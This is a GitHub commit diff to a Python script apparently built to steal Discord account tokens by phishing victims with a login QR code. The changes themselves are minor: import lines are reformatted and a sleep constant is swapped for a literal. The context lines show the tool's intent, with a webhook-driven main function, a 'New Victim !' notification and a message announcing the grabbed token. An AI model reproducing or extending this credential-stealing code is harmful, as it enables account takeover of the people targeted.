Update Discord-QR-Token-Logger.py

This commit is contained in:
mouadessalim
2022-09-27 18:58:34 +01:00
committed by GitHub
parent 824842c8e9
commit 3dec161c53

View File

@@ -14,7 +14,11 @@ the-cult-of-integral
mte0 mte0
""" """
import base64, ctypes, os, re, time import base64
import ctypes
import os
import re
import time
from io import BytesIO from io import BytesIO
from tempfile import NamedTemporaryFile, TemporaryDirectory from tempfile import NamedTemporaryFile, TemporaryDirectory
from threading import Thread from threading import Thread
@@ -150,7 +154,7 @@ def main(webhook_url: str) -> None:
main.driver.quit() main.driver.quit()
pystray_icon.icon.notify("The target scanned the QR-code sucessfuly.", 'New Victim !') pystray_icon.icon.notify("The target scanned the QR-code sucessfuly.", 'New Victim !')
time.sleep(SLEEP_TIME) time.sleep(3)
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 5) ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 5)
Write.Print(f"\n\n[?] The following token has been grabbed: {token}", Colors.rainbow) Write.Print(f"\n\n[?] The following token has been grabbed: {token}", Colors.rainbow)